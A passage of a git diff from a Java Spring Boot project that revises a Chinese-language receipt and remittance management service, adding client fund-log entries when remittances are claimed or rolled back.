bo.getAddname()); - lqw.like(StringUtils.isNotBlank(bo.getRname()), "r.real_name", bo.getRname()); - lqw.eq(bo.getQid() != null, TpReceipt::getQid, bo.getQid()); - lqw.eq(bo.getState() != null, TpReceipt::getState, bo.getState()); - if(bo.getState() != null && bo.getState() == 1){ - lqw.eq(TpReceipt::getIsDel, 1); - } - lqw.eq(bo.getCid() != null, TpReceipt::getCid, bo.getCid()); - lqw.eq(bo.getRid() != null, TpReceipt::getRid, bo.getRid()); - lqw.eq(bo.getIsDel() != null, TpReceipt::getIsDel, bo.getIsDel()); - lqw.eq(bo.getAddTime() != null, TpReceipt::getAddTime, bo.getAddTime()); - lqw.eq(bo.getAddUser() != null, TpReceipt::getAddUser, bo.getAddUser()); - lqw.like(StringUtils.isNotBlank(bo.getRemark()), TpReceipt::getRemark, bo.getRemark()); - lqw.like(StringUtils.isNotBlank(bo.getReturnRemark()), TpReceipt::getReturnRemark, bo.getReturnRemark()); - lqw.eq(StringUtils.isNotBlank(bo.getOutTradeNo()), TpReceipt::getOutTradeNo, bo.getOutTradeNo()); - lqw.eq(StringUtils.isNotBlank(bo.getTradeNo()), TpReceipt::getTradeNo, bo.getTradeNo()); - lqw.between(params.get("hkBeginTime") != null && params.get("hkEndTime") != null, - TpReceipt::getHkTime, params.get("hkBeginTime"), params.get("hkEndTime")); - lqw.between(params.get("rlBeginTime") != null && params.get("rlEndTime") != null, - TpReceipt::getRlTime, params.get("rlBeginTime"), params.get("rlEndTime")); - return lqw; - } - - /** - * 新增收款管理 - * - * @param bo 收款管理 - * @return 是否新增成功 - */ - @Override - public Boolean insertByBo(TpReceiptBo bo) { - LoginUser loginUser = LoginHelper.getLoginUser(); - bo.setAddUser(loginUser.getUserId()); - TpReceipt add = MapstructUtils.convert(bo, TpReceipt.class); - boolean flag = baseMapper.insert(add) > 0; - if (flag) { - bo.setId(add.getId()); - } - return flag; - } - - /** - * 新增收款管理 - * - * @param bo 收款管理 - * @return 是否新增成功 - */ - @Override - public Boolean insertReceipt(TpReceiptBo bo) { - bo.setAddUser(1L); - TpReceipt add = MapstructUtils.convert(bo, TpReceipt.class); - boolean flag = baseMapper.insert(add) > 0; - if (flag) { - bo.setId(add.getId()); - } - return flag; - } - - /** - * 修改收款管理 - * - * @param bo 收款管理 - * @return 是否修改成功 - */ - @Override - public Boolean updateByBo(TpReceiptBo bo) { - TpReceipt update = MapstructUtils.convert(bo, TpReceipt.class); - return baseMapper.updateById(update) > 0; - } - - /** - * 校验并批量删除收款管理信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - @Override - public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { - List list = baseMapper.selectByIds(ids); - for (TpReceipt receipt : list) { - if (receipt.getState() == 2) { - throw new ServiceException("该笔汇款:" + receipt.getId() + "已认领,不能作废!"); - } - } - list.stream().forEach(f ->f.setIsDel(2)); - return baseMapper.updateBatchById(list); - } - - /** - * 汇款信息统计 - * @param bo - * @return - */ - @Override - public ReceiptSumVo queryListSum(TpReceiptBo bo) { -// bo.setIsDel(1); - ReceiptSumVo receiptSumVo = new ReceiptSumVo(); - MPJLambdaWrapper lqw = buildQueryMPJWrapper(bo) - .leftJoin(SysUser.class,"r", SysUser::getUserId, TpReceipt::getRid) - .leftJoin(SysUser.class,"a", SysUser::getUserId, TpReceipt::getAddUser) - .leftJoin(TpClientStaff.class, TpClientStaff::getId, TpReceipt::getCid) - .leftJoin(TpClient.class, TpClient::getId, TpClientStaff::getKid) - .orderByDesc(TpReceipt::getId); - receiptSumVo.setHkzbCount(baseMapper.selectJoinCount(lqw)); - - lqw.select(TpReceipt::getPrice,TpReceipt::getState); - List list = baseMapper.selectJoinList(TpReceiptVo.class,lqw); - - BigDecimal hkzeSum = list.stream().map(f -> new BigDecimal(String.valueOf(f.getPrice()))).reduce(BigDecimal.ZERO, BigDecimal::add); - BigDecimal yrlzeSum = list.stream().filter(f ->f.getState() == 2).map(f -> new BigDecimal(String.valueOf(f.getPrice()))).reduce(BigDecimal.ZERO, BigDecimal::add); - BigDecimal wrlzeSum = list.stream().filter(f ->f.getState() == 1).map(f -> new BigDecimal(String.valueOf(f.getPrice()))).reduce(BigDecimal.ZERO, BigDecimal::add); - - MPJLambdaWrapper lqw3 = buildQueryMPJWrapper(bo).eq(TpReceipt::getIsDel,2); - lqw3.select(TpReceipt::getPrice) - .leftJoin(SysUser.class,"r", SysUser::getUserId, TpReceipt::getRid) - .leftJoin(SysUser.class,"a", SysUser::getUserId, TpReceipt::getAddUser) - .leftJoin(TpClientStaff.class, TpClientStaff::getId, TpReceipt::getCid) - .leftJoin(TpClient.class, TpClient::getId, TpClientStaff::getKid) - .orderByDesc(TpReceipt::getId); - BigDecimal zfzeSum = baseMapper.selectJoinList(TpReceiptVo.class,lqw3).stream().map(f -> new BigDecimal(String.valueOf(f.getPrice()))).reduce(BigDecimal.ZERO, BigDecimal::add); - - receiptSumVo.setHkzeSum(hkzeSum); - receiptSumVo.setYrlzeSum(yrlzeSum); - receiptSumVo.setWrlzeSum(wrlzeSum); - receiptSumVo.setZfzeSum(zfzeSum); - return receiptSumVo; - } - - /** - * 认领汇款 - * @param bo - * @return - */ - @Override - @Transactional(propagation = Propagation.REQUIRED, rollbackFor = Exception.class) - public int updateClaimByBo(TpReceiptBo bo) { - LoginUser loginUser = LoginHelper.getLoginUser(); - - TpClientStaff clientStaff = clientStaffMapper.selectById(bo.getCid()); - TpClient client = clientMapper.selectById(clientStaff.getKid()); - TpReceipt receipt = baseMapper.selectById(bo.getId()); - if(receipt.getIsDel() == 2){ - throw new ServiceException("该笔汇款:" + receipt.getId() + "已作废,不能认领!"); - } - if(receipt.getState() == 2){ - throw new ServiceException("该笔汇款:" + receipt.getId() + "已认领,不能重复认领!"); - } - receipt.setState(2); - receipt.setCid(clientStaff.getId()); -// receipt.setCname(client.getName()); - receipt.setRid(loginUser.getUserId()); -// receipt.setRname(loginUser.getRealName()); - receipt.setRlTime(new Date()); - baseMapper.updateById(receipt); - - clientStaff.setYue(clientStaff.getYue().add(receipt.getPrice())); - client.setYue(client.getYue().add(receipt.getPrice())); - clientStaffMapper.updateById(clientStaff); - return clientMapper.updateById(client); - } - - /** - * 回退汇款 - * @param bo - * @return - */ - @Override - @Transactional(propagation = Propagation.REQUIRED, rollbackFor = Exception.class) - public int updateBackByBo(TpReceiptBo bo) { - LoginUser loginUser = LoginHelper.getLoginUser(); - TpReceipt receipt = baseMapper.selectById(bo.getId()); - if(receipt.getIsDel() == 2){ - throw new ServiceException("该笔汇款:" + receipt.getId() + "已作废,不能回退!"); - } - if(receipt.getState() == 1){ - throw new ServiceException("该笔汇款:" + receipt.getId() + "未认领,不能回退!"); - } - TpClientStaff clientStaff = clientStaffMapper.selectById(receipt.getCid()); - - BigDecimal yue = clientStaff.getYue().subtract(receipt.getPrice()); - if(yue.compareTo(BigDecimal.ZERO) < 0){ - throw new ServiceException("客户账户余额不足,请联系客服"); - } - - TpClient client = clientMapper.selectById(clientStaff.getKid()); - BigDecimal yue1 = client.getYue().subtract(receipt.getPrice()); - if(yue1.compareTo(BigDecimal.ZERO) < 0){ - throw new ServiceException("客户账户余额不足,请联系客服"); - } - - receipt.setState(1); - receipt.setCid(null); - receipt.setKname(null); -// receipt.setCname(null); - receipt.setRid(null); -// receipt.setRname(null); - receipt.setRlTime(null); - receipt.setAddUser(loginUser.getUserId()); -// receipt.setAddname(loginUser.getRealName()); - receipt.setAddTime(new Date()); - baseMapper.updateById(receipt); - - clientStaff.setYue(yue); - clientStaffMapper.updateById(clientStaff); - - client.setYue(yue1); - return clientMapper.updateById(client); - } -} +package org.dromara.work.service.impl; + +import com.baomidou.mybatisplus.core.metadata.IPage; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import com.github.yulichang.base.MPJBaseServiceImpl; +import com.github.yulichang.wrapper.MPJLambdaWrapper; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.model.LoginUser; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.system.domain.SysUser; +import org.dromara.work.domain.TpClient; +import org.dromara.work.domain.TpClientStaff; +import org.dromara.work.domain.TpReceipt; +import org.dromara.work.domain.bo.TpClientFundBo; +import org.dromara.work.domain.bo.TpReceiptBo; +import org.dromara.work.domain.vo.ReceiptSumVo; +import org.dromara.work.domain.vo.TpReceiptVo; +import org.dromara.work.mapper.TpClientMapper; +import org.dromara.work.mapper.TpClientStaffMapper; +import org.dromara.work.mapper.TpReceiptMapper; +import org.dromara.work.service.ITpClientFundService; +import org.dromara.work.service.ITpReceiptService; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Propagation; +import org.springframework.transaction.annotation.Transactional; + +import java.math.BigDecimal; +import java.util.Collection; +import java.util.Date; +import java.util.List; +import java.util.Map; + +/** + * 收款管理Service业务层处理 + * + * @author Maosw + * @date 2024-08-12 + */ +@RequiredArgsConstructor +@Service +public class TpReceiptServiceImpl extends MPJBaseServiceImpl implements ITpReceiptService { + + private final TpReceiptMapper baseMapper; + + private final TpClientMapper clientMapper; + + private final TpClientStaffMapper clientStaffMapper; + + private final ITpClientFundService tpClientFundService; + + /** + * 查询收款管理 + * + * @param id 主键 + * @return 收款管理 + */ + @Override + public TpReceiptVo queryById(Long id){ + return baseMapper.selectVoById(id); + } + + + /** + * 分页查询收款管理列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 收款管理分页列表 + */ + /*@Override + public TableDataInfo queryPageList(TpReceiptBo bo, PageQuery pageQuery) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + lqw.orderByDesc(TpReceipt::getId); + IPage result = baseMapper.selectVoPage(pageQuery.build(), lqw); + return TableDataInfo.build(result); + }*/ + + /** + * 分页查询收款管理列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 收款管理分页列表 + */ + @Override + public TableDataInfo queryPageList(TpReceiptBo bo, PageQuery pageQuery) { + //bo.setIsDel(1); + //和Mybatis plus一致,MPJLambdaWrapper的泛型必须是主表的泛型,并且要用主表的Mapper来调用 + MPJLambdaWrapper wrapper = buildQueryMPJWrapper(bo) + .selectAll(TpReceipt.class) + .selectAs("r.real_name",TpReceiptVo::getRname) + .selectAs("a.real_name",TpReceiptVo::getAddname) + .selectAs(TpClient::getCode,TpReceiptVo::getKcode) + .selectAs(TpClientStaff::getName,TpReceiptVo::getCname) + .leftJoin(SysUser.class,"r", SysUser::getUserId, TpReceipt::getRid) + .leftJoin(SysUser.class,"a", SysUser::getUserId, TpReceipt::getAddUser) + .leftJoin(TpClientStaff.class, TpClientStaff::getId, TpReceipt::getCid) + .leftJoin(TpClient.class, TpClient::getId, TpClientStaff::getKid) + .orderByDesc(TpReceipt::getHkTime); + + //分页查询 (需要启用 mybatis plus 分页插件) + IPage listPage = baseMapper.selectJoinPage(new Page<>(pageQuery.getPageNum(), pageQuery.getPageSize()), TpReceiptVo.class, wrapper); + return TableDataInfo.build(listPage); + } + + /** + * 查询符合条件的收款管理列表 + * + * @param bo 查询条件 + * @return 收款管理列表 + */ + @Override + public List queryList(TpReceiptBo bo) { + MPJLambdaWrapper wrapper = buildQueryMPJWrapper(bo) + .selectAll(TpReceipt.class) + .selectAs("r.real_name",TpReceiptVo::getRname) + .selectAs("a.real_name",TpReceiptVo::getAddname) + .selectAs(TpClient::getCode,TpReceiptVo::getKcode) + .selectAs(TpClientStaff::getName,TpReceiptVo::getCname) + .leftJoin(SysUser.class,"r", SysUser::getUserId, TpReceipt::getRid) + .leftJoin(SysUser.class,"a", SysUser::getUserId, TpReceipt::getAddUser) + .leftJoin(TpClientStaff.class, TpClientStaff::getId, TpReceipt::getCid) + .leftJoin(TpClient.class, TpClient::getId, TpClientStaff::getKid) + .orderByDesc(TpReceipt::getId); + return baseMapper.selectJoinList(TpReceiptVo.class,wrapper); + } + + private MPJLambdaWrapper buildQueryMPJWrapper(TpReceiptBo bo) { + Map params = bo.getParams(); + MPJLambdaWrapper lqw = new MPJLambdaWrapper<>(); + lqw.eq(bo.getId() != null, TpReceipt::getId, bo.getId()); + lqw.like(StringUtils.isNotBlank(bo.getKcode()), TpClient::getCode, bo.getKcode()); + lqw.like(StringUtils.isNotBlank(bo.getCname()), TpClientStaff::getName, bo.getCname()); + lqw.like(StringUtils.isNotBlank(bo.getAddname()), "a.real_name", bo.getAddname()); + lqw.like(StringUtils.isNotBlank(bo.getRname()), "r.real_name", bo.getRname()); + lqw.eq(bo.getQid() != null, TpReceipt::getQid, bo.getQid()); + lqw.eq(bo.getState() != null, TpReceipt::getState, bo.getState()); + if(bo.getState() != null && bo.getState() == 1){ + lqw.eq(TpReceipt::getIsDel, 1); + } + lqw.eq(bo.getCid() != null, TpReceipt::getCid, bo.getCid()); + lqw.eq(bo.getRid() != null, TpReceipt::getRid, bo.getRid()); + lqw.eq(bo.getIsDel() != null, TpReceipt::getIsDel, bo.getIsDel()); + lqw.eq(bo.getAddTime() != null, TpReceipt::getAddTime, bo.getAddTime()); + lqw.eq(bo.getAddUser() != null, TpReceipt::getAddUser, bo.getAddUser()); + lqw.like(StringUtils.isNotBlank(bo.getRemark()), TpReceipt::getRemark, bo.getRemark()); + lqw.like(StringUtils.isNotBlank(bo.getReturnRemark()), TpReceipt::getReturnRemark, bo.getReturnRemark()); + lqw.eq(StringUtils.isNotBlank(bo.getOutTradeNo()), TpReceipt::getOutTradeNo, bo.getOutTradeNo()); + lqw.eq(StringUtils.isNotBlank(bo.getTradeNo()), TpReceipt::getTradeNo, bo.getTradeNo()); + lqw.between(params.get("hkBeginTime") != null && params.get("hkEndTime") != null, + TpReceipt::getHkTime, params.get("hkBeginTime"), params.get("hkEndTime")); + lqw.between(params.get("rlBeginTime") != null && params.get("rlEndTime") != null, + TpReceipt::getRlTime, params.get("rlBeginTime"), params.get("rlEndTime")); + return lqw; + } + + /** + * 新增收款管理 + * + * @param bo 收款管理 + * @return 是否新增成功 + */ + @Override + public Boolean insertByBo(TpReceiptBo bo) { + LoginUser loginUser = LoginHelper.getLoginUser(); + bo.setAddUser(loginUser.getUserId()); + TpReceipt add = MapstructUtils.convert(bo, TpReceipt.class); + boolean flag = baseMapper.insert(add) > 0; + if (flag) { + bo.setId(add.getId()); + } + return flag; + } + + /** + * 新增收款管理 + * + * @param bo 收款管理 + * @return 是否新增成功 + */ + @Override + public Boolean insertReceipt(TpReceiptBo bo) { + bo.setAddUser(1L); + TpReceipt add = MapstructUtils.convert(bo, TpReceipt.class); + boolean flag = baseMapper.insert(add) > 0; + if (flag) { + bo.setId(add.getId()); + } + return flag; + } + + /** + * 修改收款管理 + * + * @param bo 收款管理 + * @return 是否修改成功 + */ + @Override + public Boolean updateByBo(TpReceiptBo bo) { + TpReceipt update = MapstructUtils.convert(bo, TpReceipt.class); + return baseMapper.updateById(update) > 0; + } + + /** + * 校验并批量删除收款管理信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + @Override + public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { + List list = baseMapper.selectByIds(ids); + for (TpReceipt receipt : list) { + if (receipt.getState() == 2) { + throw new ServiceException("该笔汇款:" + receipt.getId() + "已认领,不能作废!"); + } + } + list.stream().forEach(f ->f.setIsDel(2)); + return baseMapper.updateBatchById(list); + } + + /** + * 汇款信息统计 + * @param bo + * @return + */ + @Override + public ReceiptSumVo queryListSum(TpReceiptBo bo) { +// bo.setIsDel(1); + ReceiptSumVo receiptSumVo = new ReceiptSumVo(); + MPJLambdaWrapper lqw = buildQueryMPJWrapper(bo) + .leftJoin(SysUser.class,"r", SysUser::getUserId, TpReceipt::getRid) + .leftJoin(SysUser.class,"a", SysUser::getUserId, TpReceipt::getAddUser) + .leftJoin(TpClientStaff.class, TpClientStaff::getId, TpReceipt::getCid) + .leftJoin(TpClient.class, TpClient::getId, TpClientStaff::getKid) + .orderByDesc(TpReceipt::getId); + receiptSumVo.setHkzbCount(baseMapper.selectJoinCount(lqw)); + + lqw.select(TpReceipt::getPrice,TpReceipt::getState); + List list = baseMapper.selectJoinList(TpReceiptVo.class,lqw); + + BigDecimal hkzeSum = list.stream().map(f -> new BigDecimal(String.valueOf(f.getPrice()))).reduce(BigDecimal.ZERO, BigDecimal::add); + BigDecimal yrlzeSum = list.stream().filter(f ->f.getState() == 2).map(f -> new BigDecimal(String.valueOf(f.getPrice()))).reduce(BigDecimal.ZERO, BigDecimal::add); + BigDecimal wrlzeSum = list.stream().filter(f ->f.getState() == 1).map(f -> new BigDecimal(String.valueOf(f.getPrice()))).reduce(BigDecimal.ZERO, BigDecimal::add); + + MPJLambdaWrapper lqw3 = buildQueryMPJWrapper(bo).eq(TpReceipt::getIsDel,2); + lqw3.select(TpReceipt::getPrice) + .leftJoin(SysUser.class,"r", SysUser::getUserId, TpReceipt::getRid) + .leftJoin(SysUser.class,"a", SysUser::getUserId, TpReceipt::getAddUser) + .leftJoin(TpClientStaff.class, TpClientStaff::getId, TpReceipt::getCid) + .leftJoin(TpClient.class, TpClient::getId, TpClientStaff::getKid) + .orderByDesc(TpReceipt::getId); + BigDecimal zfzeSum = baseMapper.selectJoinList(TpReceiptVo.class,lqw3).stream().map(f -> new BigDecimal(String.valueOf(f.getPrice()))).reduce(BigDecimal.ZERO, BigDecimal::add); + + receiptSumVo.setHkzeSum(hkzeSum); + receiptSumVo.setYrlzeSum(yrlzeSum); + receiptSumVo.setWrlzeSum(wrlzeSum); + receiptSumVo.setZfzeSum(zfzeSum); + return receiptSumVo; + } + + /** + * 认领汇款 + * @param bo + * @return + */ + @Override + @Transactional(propagation = Propagation.REQUIRED, rollbackFor = Exception.class) + public int updateClaimByBo(TpReceiptBo bo) { + LoginUser loginUser = LoginHelper.getLoginUser(); + TpClientFundBo tpClientFund = new TpClientFundBo(); + + TpClientStaff clientStaff = clientStaffMapper.selectById(bo.getCid()); + TpClient client = clientMapper.selectById(clientStaff.getKid()); + TpReceipt receipt = baseMapper.selectById(bo.getId()); + if(receipt.getIsDel() == 2){ + throw new ServiceException("该笔汇款:" + receipt.getId() + "已作废,不能认领!"); + } + if(receipt.getState() == 2){ + throw new ServiceException("该笔汇款:" + receipt.getId() + "已认领,不能重复认领!"); + } + tpClientFund.setKId(client.getId()); + tpClientFund.setSkId(clientStaff.getId()); + tpClientFund.setBizType(1); + tpClientFund.setChangeAmount(receipt.getPrice()); + tpClientFund.setBalanceBefore(clientStaff.getYue()); + + receipt.setState(2); + receipt.setCid(clientStaff.getId()); +// receipt.setCname(client.getName()); + receipt.setRid(loginUser.getUserId()); +// receipt.setRname(loginUser.getRealName()); + receipt.setRlTime(new Date()); + baseMapper.updateById(receipt); + + clientStaff.setYue(clientStaff.getYue().add(receipt.getPrice())); + client.setYue(client.getYue().add(receipt.getPrice())); + clientStaffMapper.updateById(clientStaff); + clientMapper.updateById(client); + + // 添加客户资金日志 + tpClientFund.setBalanceAfter(clientStaff.getYue()); + tpClientFund.setReceiptId(receipt.getId()); + tpClientFund.setCreateBy(loginUser.getUserId()); + tpClientFund.setRemark("领款入账"); + return tpClientFundService.insertByBo(tpClientFund); + } + + /** + * 回退汇款 + * @param bo + * @return + */ + @Override + @Transactional(propagation = Propagation.REQUIRED, rollbackFor = Exception.class) + public int updateBackByBo(TpReceiptBo bo) { + LoginUser loginUser = LoginHelper.getLoginUser(); + TpClientFundBo tpClientFund = new TpClientFundBo(); + + TpReceipt receipt = baseMapper.selectById(bo.getId()); + if(receipt.getIsDel() == 2){ + throw new ServiceException("该笔汇款:" + receipt.getId() + "已作废,不能回退!"); + } + if(receipt.getState() == 1){ + throw new ServiceException("该笔汇款:" + receipt.getId() + "未认领,不能回退!"); + } + TpClientStaff clientStaff = clientStaffMapper.selectById(receipt.getCid()); + TpClient client = clientMapper.selectById(clientStaff.getKid()); + + tpClientFund.setKId(client.getId()); + tpClientFund.setSkId(clientStaff.getId()); + tpClientFund.setBizType(4); + tpClientFund.setChangeAmount(receipt.getPrice()); + tpClientFund.setBalanceBefore(clientStaff.getYue()); + + BigDecimal yue = clientStaff.getYue().subtract(receipt.getPrice()); + if(yue.compareTo(BigDecimal.ZERO) < 0){ + throw new ServiceException("客户账户余额不足,请联系客服"); + } + + BigDecimal yue1 = client.getYue().subtract(receipt.getPrice()); + if(yue1.compareTo(BigDecimal.ZERO) < 0){ + throw new ServiceException("客户账户余额不足,请联系客服"); + } + + receipt.setState(1); + receipt.setCid(null); + receipt.setKname(null); +// receipt.setCname(null); + receipt.setRid(null); +// receipt.setRname(null); + receipt.setRlTime(null); + receipt.setAddUser(loginUser.getUserId()); +// receipt.setAddname(loginUser.getRealName()); + receipt.setAddTime(new Date()); + baseMapper.updateById(receipt); + + clientStaff.setYue(yue); + clientStaffMapper.updateById(clientStaff); + + client.setYue(yue1); + clientMapper.updateById(client); + + // 添加客户资金日志 + tpClientFund.setBalanceAfter(yue); + tpClientFund.setReceiptId(receipt.getId()); + tpClientFund.setCreateBy(loginUser.getUserId()); + tpClientFund.setRemark("领款回退"); + + return tpClientFundService.insertByBo(tpClientFund); + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpRemittanceServiceImpl.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpRemittanceServiceImpl.java index 8f2adc6..eb4682a 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpRemittanceServiceImpl.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpRemittanceServiceImpl.java @@ -1,137 +1,137 @@ -package org.dromara.work.service.impl; - -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.Wrappers; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.work.domain.TpRemittance; -import org.dromara.work.domain.bo.TpRemittanceBo; -import org.dromara.work.domain.vo.TpRemittanceVo; -import org.dromara.work.mapper.TpRemittanceMapper; -import org.dromara.work.service.ITpRemittanceService; -import org.springframework.stereotype.Service; - -import java.util.Collection; -import java.util.List; - -/** - * 汇款Service业务层处理 - * - * @author Maosw - * @date 2024-08-12 - */ -@RequiredArgsConstructor -@Service -public class TpRemittanceServiceImpl implements ITpRemittanceService { - - private final TpRemittanceMapper baseMapper; - - /** - * 查询汇款 - * - * @param id 主键 - * @return 汇款 - */ - @Override - public TpRemittanceVo queryById(Long id){ - return baseMapper.selectVoById(id); - } - - /** - * 分页查询汇款列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 汇款分页列表 - */ - @Override - public TableDataInfo queryPageList(TpRemittanceBo bo, PageQuery pageQuery) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); - return TableDataInfo.build(result); - } - - /** - * 查询符合条件的汇款列表 - * - * @param bo 查询条件 - * @return 汇款列表 - */ - @Override - public List queryList(TpRemittanceBo bo) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - return baseMapper.selectVoList(lqw); - } - - private LambdaQueryWrapper buildQueryWrapper(TpRemittanceBo bo) { - LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); - lqw.eq(StringUtils.isNotBlank(bo.getAlias()), TpRemittance::getAlias, bo.getAlias()); - lqw.eq(bo.getQid() != null, TpRemittance::getQid, bo.getQid()); - lqw.eq(bo.getType() != null, TpRemittance::getType, bo.getType()); - lqw.like(StringUtils.isNotBlank(bo.getName()), TpRemittance::getName, bo.getName()); - lqw.eq(StringUtils.isNotBlank(bo.getQrcode()), TpRemittance::getQrcode, bo.getQrcode()); - lqw.eq(bo.getOpentime() != null, TpRemittance::getOpentime, bo.getOpentime()); - lqw.eq(StringUtils.isNotBlank(bo.getLink()), TpRemittance::getLink, bo.getLink()); - lqw.eq(bo.getState() != null, TpRemittance::getState, bo.getState()); - lqw.eq(bo.getAddUser() != null, TpRemittance::getAddUser, bo.getAddUser()); - lqw.eq(bo.getIsDel() != null, TpRemittance::getIsDel, bo.getIsDel()); - lqw.eq(bo.getAddTime() != null, TpRemittance::getAddTime, bo.getAddTime()); - return lqw; - } - - /** - * 新增汇款 - * - * @param bo 汇款 - * @return 是否新增成功 - */ - @Override - public Boolean insertByBo(TpRemittanceBo bo) { - TpRemittance add = MapstructUtils.convert(bo, TpRemittance.class); - validEntityBeforeSave(add); - boolean flag = baseMapper.insert(add) > 0; - if (flag) { - bo.setId(add.getId()); - } - return flag; - } - - /** - * 修改汇款 - * - * @param bo 汇款 - * @return 是否修改成功 - */ - @Override - public Boolean updateByBo(TpRemittanceBo bo) { - TpRemittance update = MapstructUtils.convert(bo, TpRemittance.class); - validEntityBeforeSave(update); - return baseMapper.updateById(update) > 0; - } - - /** - * 保存前的数据校验 - */ - private void validEntityBeforeSave(TpRemittance entity){ - //TODO 做一些数据校验,如唯一约束 - } - - /** - * 校验并批量删除汇款信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - @Override - public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { - if(isValid){ - //TODO 做一些业务上的校验,判断是否需要校验 - } - return baseMapper.deleteByIds(ids) > 0; - } -} +package org.dromara.work.service.impl; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.work.domain.TpRemittance; +import org.dromara.work.domain.bo.TpRemittanceBo; +import org.dromara.work.domain.vo.TpRemittanceVo; +import org.dromara.work.mapper.TpRemittanceMapper; +import org.dromara.work.service.ITpRemittanceService; +import org.springframework.stereotype.Service; + +import java.util.Collection; +import java.util.List; + +/** + * 汇款Service业务层处理 + * + * @author Maosw + * @date 2024-08-12 + */ +@RequiredArgsConstructor +@Service +public class TpRemittanceServiceImpl implements ITpRemittanceService { + + private final TpRemittanceMapper baseMapper; + + /** + * 查询汇款 + * + * @param id 主键 + * @return 汇款 + */ + @Override + public TpRemittanceVo queryById(Long id){ + return baseMapper.selectVoById(id); + } + + /** + * 分页查询汇款列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 汇款分页列表 + */ + @Override + public TableDataInfo queryPageList(TpRemittanceBo bo, PageQuery pageQuery) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); + return TableDataInfo.build(result); + } + + /** + * 查询符合条件的汇款列表 + * + * @param bo 查询条件 + * @return 汇款列表 + */ + @Override + public List queryList(TpRemittanceBo bo) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + return baseMapper.selectVoList(lqw); + } + + private LambdaQueryWrapper buildQueryWrapper(TpRemittanceBo bo) { + LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); + lqw.eq(StringUtils.isNotBlank(bo.getAlias()), TpRemittance::getAlias, bo.getAlias()); + lqw.eq(bo.getQid() != null, TpRemittance::getQid, bo.getQid()); + lqw.eq(bo.getType() != null, TpRemittance::getType, bo.getType()); + lqw.like(StringUtils.isNotBlank(bo.getName()), TpRemittance::getName, bo.getName()); + lqw.eq(StringUtils.isNotBlank(bo.getQrcode()), TpRemittance::getQrcode, bo.getQrcode()); + lqw.eq(bo.getOpentime() != null, TpRemittance::getOpentime, bo.getOpentime()); + lqw.eq(StringUtils.isNotBlank(bo.getLink()), TpRemittance::getLink, bo.getLink()); + lqw.eq(bo.getState() != null, TpRemittance::getState, bo.getState()); + lqw.eq(bo.getAddUser() != null, TpRemittance::getAddUser, bo.getAddUser()); + lqw.eq(bo.getIsDel() != null, TpRemittance::getIsDel, bo.getIsDel()); + lqw.eq(bo.getAddTime() != null, TpRemittance::getAddTime, bo.getAddTime()); + return lqw; + } + + /** + * 新增汇款 + * + * @param bo 汇款 + * @return 是否新增成功 + */ + @Override + public Boolean insertByBo(TpRemittanceBo bo) { + TpRemittance add = MapstructUtils.convert(bo, TpRemittance.class); + validEntityBeforeSave(add); + boolean flag = baseMapper.insert(add) > 0; + if (flag) { + bo.setId(add.getId()); + } + return flag; + } + + /** + * 修改汇款 + * + * @param bo 汇款 + * @return 是否修改成功 + */ + @Override + public Boolean updateByBo(TpRemittanceBo bo) { + TpRemittance update = MapstructUtils.convert(bo, TpRemittance.class); + validEntityBeforeSave(update); + return baseMapper.updateById(update) > 0; + } + + /** + * 保存前的数据校验 + */ + private void validEntityBeforeSave(TpRemittance entity){ + //TODO 做一些数据校验,如唯一约束 + } + + /** + * 校验并批量删除汇款信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + @Override + public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { + if(isValid){ + //TODO 做一些业务上的校验,判断是否需要校验 + } + return baseMapper.deleteByIds(ids) > 0; + } +} diff --git 